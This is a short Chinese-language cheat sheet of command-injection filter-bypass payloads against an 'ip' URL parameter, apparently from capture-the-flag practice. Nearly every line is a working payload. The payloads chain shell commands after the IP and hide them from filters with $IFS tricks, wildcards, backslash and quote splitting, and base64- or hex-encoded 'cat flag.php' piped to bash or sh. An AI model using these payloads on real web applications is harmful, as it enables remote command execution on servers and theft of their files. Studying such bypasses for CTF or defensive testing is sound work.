命令执行绕过
内联执行
1.?ip=127.0.0.1;cat$IFS`ls`
2.?ip=127.0.0.1;cat$IFS$3`ls`
3.?ip=127.0.0.1;cat$IFS$9`ls`
4.?ip=127.0.0.1|cat$IFS$9`ls`
被过滤的bash,用管道+sh替换
Y2F0IGZsYWcucGhw
?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|bash
过滤了flag、bash,但sh没过滤,linux下可用sh
?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
|sh 就是执行前面的echo脚本
cat fl* 用*匹配任意
cat fla* 用*匹配任意
ca\t fla\g.php 反斜线绕过
cat fl''ag.php 两个单引号绕过
echo "Y2F0IGZsYWcucGhw" | base64 -d | bash
//base64编码绕过(引号可以去掉) |(管道符) 会把前一个命令的输出作为后一个命令的参数echo "63617420666c61672e706870" | xxd -r -p | bash
//hex编码绕过(引号可以去掉)echo "63617420666c61672e706870" | xxd -r -p | sh
//sh的效果和bash一样</